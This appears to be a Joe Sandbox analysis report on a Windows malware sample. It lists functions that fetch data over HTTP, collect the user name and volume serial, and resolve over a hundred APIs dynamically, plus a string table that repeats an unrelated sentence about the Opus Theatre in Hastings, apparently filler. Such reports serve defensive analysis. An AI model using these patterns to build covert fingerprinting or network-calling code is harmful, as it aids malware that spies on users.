The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E46FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E47CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E46BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E46B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E46A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E4693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E4763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E4707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E47C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004E46C8

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 758a87d3a8deec1eb3771107cde191b00d31a2d6ba22b5b00a48466c8b445f1b
Instruction ID: f7ecbb52caa9954a48652a12909caf49b61ee6c9a76449744ca155fd91add639
Opcode Fuzzy Hash: 758a87d3a8deec1eb3771107cde191b00d31a2d6ba22b5b00a48466c8b445f1b
Instruction Fuzzy Hash: E44103607D26046BE636BBA6894EFDF7B76FFC2790F405840A9A0522C2DBF45500DB27

Function 004E62D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004FAAB0: lstrcpy.KERNEL32(?,00000000), ref: 004FAAF6

Part of subcall function 004E4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004E4889
Part of subcall function 004E4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 004E4899

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

InternetOpenA.WININET(00500DFF,00000001,00000000,00000000,00000000), ref: 004E6331
StrCmpCA.SHLWAPI(?,0145E888), ref: 004E6353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004E6385
HttpOpenRequestA.WININET(00000000,GET,?,0145E208,00000000,00000000,00400100,00000000), ref: 004E63D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004E640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004E6421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 004E644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004E64BD
InternetCloseHandle.WININET(00000000), ref: 004E653F
InternetCloseHandle.WININET(00000000), ref: 004E6549
InternetCloseHandle.WININET(00000000), ref: 004E6553

Strings

ERROR, xrefs: 004E6519
ERROR, xrefs: 004E6457
GET, xrefs: 004E63CC

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 0dd9cc19555f8dae7ad65257a430dbd4f9fc55d47c60c00ce2866589c4a965a1
Instruction ID: 52046e943e2fb820a4a303393d8f8288c9784df0c9cc6f31895daefca7c87cc9
Opcode Fuzzy Hash: 0dd9cc19555f8dae7ad65257a430dbd4f9fc55d47c60c00ce2866589c4a965a1
Instruction Fuzzy Hash: 90719FB1A0025CABDB14DFA1DC49FEE7774BB44304F10819AF60A6B1D4DBB86A84CF59

Function 004F7690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004F76D2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004F770F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004F7793
RtlAllocateHeap.NTDLL(00000000), ref: 004F779A
wsprintfA.USER32 ref: 004F77D0

Part of subcall function 004FAA50: lstrcpy.KERNEL32(00500E1A,00000000), ref: 004FAA98

Strings

\, xrefs: 004F76F0
C, xrefs: 004F76DC
:, xrefs: 004F76EC

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: cd683661083a60c87372f23c70b40e2a289950e911d7361bb92cceb4eb28ccb6
Instruction ID: f27afa54df4b2d0e7ea002f7fec53e40266aa35cf25e64beddf885f962f8cfb8
Opcode Fuzzy Hash: cd683661083a60c87372f23c70b40e2a289950e911d7361bb92cceb4eb28ccb6
Instruction Fuzzy Hash: 7D4154B1D0425C9BDF10DB94DC85FEEB7B8AB48704F104199F609AB280D77CAA44CBA9

Function 004F79E0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004E11B7), ref: 004F7A10
RtlAllocateHeap.NTDLL(00000000), ref: 004F7A17
GetUserNameA.ADVAPI32(00000104,00000104), ref: 004F7A2F

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 4a0a563ea26782bc450b8e60dcce985c55abe6d29a7248019c2a932ef54084e3
Instruction ID: d7a8cb70825519e9532cba87c500ee2e3a4ae11575a8dd3fdb61da64dd9c0de6
Opcode Fuzzy Hash: 4a0a563ea26782bc450b8e60dcce985c55abe6d29a7248019c2a932ef54084e3
Instruction Fuzzy Hash: 96F04FB1D48609EBCB04DF98DD45FAEBBB8FB45711F10421AF615A2780C7795500CBA5

Function 004E1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 004E116A
ExitProcess.KERNEL32 ref: 004E117E

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.00000000007B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000945000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A44000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844617862.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844839394.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844940075.0000000000BF8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844954135.0000000000BF9000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4e0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 3f4b10bee990563b3817c78f7aebb62536f6c4ad99143573b77f116fbef9b3d2
Instruction ID: 728185f6076ce34483ac7dad8b1fc19288144c2f6334024d7391c5c6a9394881
Opcode Fuzzy Hash: 3f4b10bee990563b3817c78f7aebb62536f6c4ad99143573b77f116fbef9b3d2
Instruction Fuzzy Hash: 0DD05E7490430C9BCB04DFE49949ADDBB78BB8C216F000655D90572240EA345441CA79

Function 004F9F20 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01445710), ref: 004F9F3D
GetProcAddress.KERNEL32(74DD0000,01445730), ref: 004F9F55
GetProcAddress.KERNEL32(74DD0000,01459610), ref: 004F9F6E
GetProcAddress.KERNEL32(74DD0000,014595B0), ref: 004F9F86
GetProcAddress.KERNEL32(74DD0000,014595C8), ref: 004F9F9E
GetProcAddress.KERNEL32(74DD0000,014595E0), ref: 004F9FB7
GetProcAddress.KERNEL32(74DD0000,0144B980), ref: 004F9FCF
GetProcAddress.KERNEL32(74DD0000,0145CFE8), ref: 004F9FE7
GetProcAddress.KERNEL32(74DD0000,0145D048), ref: 004FA000
GetProcAddress.KERNEL32(74DD0000,0145CE68), ref: 004FA018
GetProcAddress.KERNEL32(74DD0000,0145CF28), ref: 004FA030
GetProcAddress.KERNEL32(74DD0000,01445970), ref: 004FA049
GetProcAddress.KERNEL32(74DD0000,014457D0), ref: 004FA061
GetProcAddress.KERNEL32(74DD0000,01445750), ref: 004FA079
GetProcAddress.KERNEL32(74DD0000,01445770), ref: 004FA092
GetProcAddress.KERNEL32(74DD0000,0145CF40), ref: 004FA0AA
GetProcAddress.KERNEL32(74DD0000,0145D030), ref: 004FA0C2
GetProcAddress.KERNEL32(74DD0000,0144BC00), ref: 004FA0DB
GetProcAddress.KERNEL32(74DD0000,01445810), ref: 004FA0F3
GetProcAddress.KERNEL32(74DD0000,0145CF88), ref: 004FA10B
GetProcAddress.KERNEL32(74DD0000,0145CE20), ref: 004FA124
GetProcAddress.KERNEL32(74DD0000,0145CEC8), ref: 004FA13C
GetProcAddress.KERNEL32(74DD0000,0145CE50), ref: 004FA154
GetProcAddress.KERNEL32(74DD0000,01445990), ref: 004FA16D
GetProcAddress.KERNEL32(74DD0000,0145CF58), ref: 004FA185
GetProcAddress.KERNEL32(74DD0000,0145CE38), ref: 004FA19D
GetProcAddress.KERNEL32(74DD0000,0145CF70), ref: 004FA1B6
GetProcAddress.KERNEL32(74DD0000,0145D060), ref: 004FA1CE
GetProcAddress.KERNEL32(74DD0000,0145CE80), ref: 004FA1E6
GetProcAddress.KERNEL32(74DD0000,0145D078), ref: 004FA1FF
GetProcAddress.KERNEL32(74DD0000,0145CEE0), ref: 004FA217
GetProcAddress.KERNEL32(74DD0000,0145CFB8), ref: 004FA22F
GetProcAddress.KERNEL32(74DD0000,0145D090), ref: 004FA248
GetProcAddress.KERNEL32(74DD0000,0145A1F0), ref: 004FA260
GetProcAddress.KERNEL32(74DD0000,0145CDF0), ref: 004FA278
GetProcAddress.KERNEL32(74DD0000,0145CFA0), ref: 004FA291
GetProcAddress.KERNEL32(74DD0000,014459B0), ref: 004FA2A9
GetProcAddress.KERNEL32(74DD0000,0145CF10), ref: 004FA2C1
GetProcAddress.KERNEL32(74DD0000,014452D0), ref: 004FA2DA
GetProcAddress.KERNEL32(74DD0000,0145CE98), ref: 004FA2F2
GetProcAddress.KERNEL32(74DD0000,0145CFD0), ref: 004FA30A
GetProcAddress.KERNEL32(74DD0000,014455B0), ref: 004FA323
GetProcAddress.KERNEL32(74DD0000,01445270), ref: 004FA33B
LoadLibraryA.KERNEL32(0145D000,?,004F5EF3,00500AEB,?,?,?,?,?,?,?,?,?,?,00500AEA,00500AE7), ref: 004FA34D
LoadLibraryA.KERNEL32(0145D0A8,?,004F5EF3,00500AEB,?,?,?,?,?,?,?,?,?,?,00500AEA,00500AE7), ref: 004FA35E
LoadLibraryA.KERNEL32(0145CE08,?,004F5EF3,00500AEB,?,?,?,?,?,?,?,?,?,?,00500AEA,00500AE7), ref: 004FA370
LoadLibraryA.KERNEL32(0145CEB0,?,004F5EF3,00500AEB,?,?,?,?,?,?,?,?,?,?,00500AEA,00500AE7), ref: 004FA382
LoadLibraryA.KERNEL32(0145D0C0,?,004F5EF3,00500AEB,?,?,?,?,?,?,?,?,?,?,00500AEA,00500AE7), ref: 004FA393
LoadLibraryA.KERNEL32(0145D018,?,004F5EF3,00500AEB,?,?,?,?,?,?,?,?,?,?,00500AEA,00500AE7), ref: 004FA3A5
LoadLibraryA.KERNEL32(0145CEF8,?,004F5EF3,00500AEB,?,?,?,?,?,?,?,?,?,?,00500AEA,00500AE7), ref: 004FA3B7
LoadLibraryA.KERNEL32(0145CDD8,?,004F5EF3,00500AEB,?,?,?,?,?,?,?,?,?,?,00500AEA,00500AE7), ref: 004FA3C8
GetProcAddress.KERNEL32(75290000,01445470), ref: 004FA3EA
GetProcAddress.KERNEL32(75290000,0145D198), ref: 004FA402
GetProcAddress.KERNEL32(75290000,014591B0), ref: 004FA41A
GetProcAddress.KERNEL32(75290000,0145D120), ref: 004FA433
GetProcAddress.KERNEL32(75290000,01445290), ref: 004FA44B
GetProcAddress.KERNEL32(73440000,0144B890), ref: 004FA470
GetProcAddress.KERNEL32(73440000,01445590), ref: 004FA489
GetProcAddress.KERNEL32(73440000,0144B908), ref: 004FA4A1
GetProcAddress.KERNEL32(73440000,0145D108), ref: 004FA4B9
GetProcAddress.KERNEL32(73440000,0145D2E8), ref: 004FA4D2
GetProcAddress.KERNEL32(73440000,01445230), ref: 004FA4EA
GetProcAddress.KERNEL32(73440000,014453F0), ref: 004FA502
GetProcAddress.KERNEL32(73440000,0145D378), ref: 004FA51B
GetProcAddress.KERNEL32(752C0000,014454D0), ref: 004FA53C
GetProcAddress.KERNEL32(752C0000,014452B0), ref: 004FA554
GetProcAddress.KERNEL32(752C0000,0145D300), ref: 004FA56D
GetProcAddress.KERNEL32(752C0000,0145D360), ref: 004FA585
GetProcAddress.KERNEL32(752C0000,01445250), ref: 004FA59D
GetProcAddress.KERNEL32(74EC0000,0144B9A8), ref: 004FA5C3
GetProcAddress.KERNEL32(74EC0000,0144B9D0), ref: 004FA5DB
GetProcAddress.KERNEL32(74EC0000,0145D318), ref: 004FA5F3
GetProcAddress.KERNEL32(74EC0000,014452F0), ref: 004FA60C
GetProcAddress.KERNEL32(74EC0000,01445310), ref: 004FA624
GetProcAddress.KERNEL32(74EC0000,0144BA20), ref: 004FA63C
GetProcAddress.KERNEL32(75BD0000,0145D138), ref: 004FA662
GetProcAddress.KERNEL32(75BD0000,01445450), ref: 004FA67A
GetProcAddress.KERNEL32(75BD0000,01459090), ref: 004FA692
GetProcAddress.KERNEL32(75BD0000,0145D1F8), ref: 004FA6AB
GetProcAddress.KERNEL32(75BD0000,0145D3C0), ref: 004FA6C3
GetProcAddress.KERNEL32(75BD0000,01445350), ref: 004FA6DB
GetProcAddress.KERNEL32(75BD0000,014454B0), ref: 004FA6F4
GetProcAddress.KERNEL32(75BD0000,0145D390), ref: 004FA70C
GetProcAddress.KERNEL32(75BD0000,0145D348), ref: 004FA724
GetProcAddress.KERNEL32(75A70000,01445330), ref: 004FA746
GetProcAddress.KERNEL32(75A70000,0145D288), ref: 004FA75E
GetProcAddress.KERNEL32(75A70000,0145D2A0), ref: 004FA776
GetProcAddress.KERNEL32(75A70000,0145D258), ref: 004FA78F
GetProcAddress.KERNEL32(75A70000,0145D1E0), ref: 004FA7A7
GetProcAddress.KERNEL32(75450000,014455D0), ref: 004FA7C8
GetProcAddress.KERNEL32(75450000,014453B0), ref: 004FA7E1
GetProcAddress.KERNEL32(75DA0000,01445410), ref: 004FA802
GetProcAddress.KERNEL32(75DA0000,0145D168), ref: 004FA81A
GetProcAddress.KERNEL32(6F070000,01445370), ref: 004FA840
GetProcAddress.KERNEL32(6F070000,01445390), ref: 004FA858
GetProcAddress.KERNEL32(6F070000,014453D0), ref: 004FA870
GetProcAddress.KERNEL32(6F070000,0145D150), ref: 004FA889
GetProcAddress.KERNEL32(6F070000,01445430), ref: 004FA8A1
GetProcAddress.KERNEL32(6F070000,01445490), ref: 004FA8B9
GetProcAddress.KERNEL32(6F070000,014454F0), ref: 004FA8D2
GetProcAddress.KERNEL32(6F070000,01445510), ref: 004FA8EA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 004FA901
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 004FA917
GetProcAddress.KERNEL32(75AF0000,0145D210), ref: 004FA939
GetProcAddress.KERNEL32(75AF0000,014591D0), ref: 004FA951
GetProcAddress.KERNEL32(75AF0000,0145D330), ref: 004FA969
GetProcAddress.KERNEL32(75AF0000,0145D180), ref: 004FA982
GetProcAddress.KERNEL32(75D90000,01445530), ref: 004FA9A3
GetProcAddress.KERNEL32(6CFC0000,0145D2B8), ref: 004FA9C4
GetProcAddress.KERNEL32(6CFC0000,01445550), ref: 004FA9DD
GetProcAddress.KERNEL32(6CFC0000,0145D1B0), ref: 004FA9F5
GetProcAddress.KERNEL32(6CFC0000,0145D3A8), ref: 004FAA0D

Strings

HttpQueryInfoA, xrefs: 004FA90C
InternetSetOptionA, xrefs: 004FA8F5

Memory Dump Source

Source File: 00000000.00000002.1844433132.00000000004E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004E0000, based on PE: true

Associated: 00000000.00000002.1844416103.00000000004E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000050C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.0000000000629000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1844433132.000000000064E000.00000040.00000001.01000000.00000003.sdmpDownload File
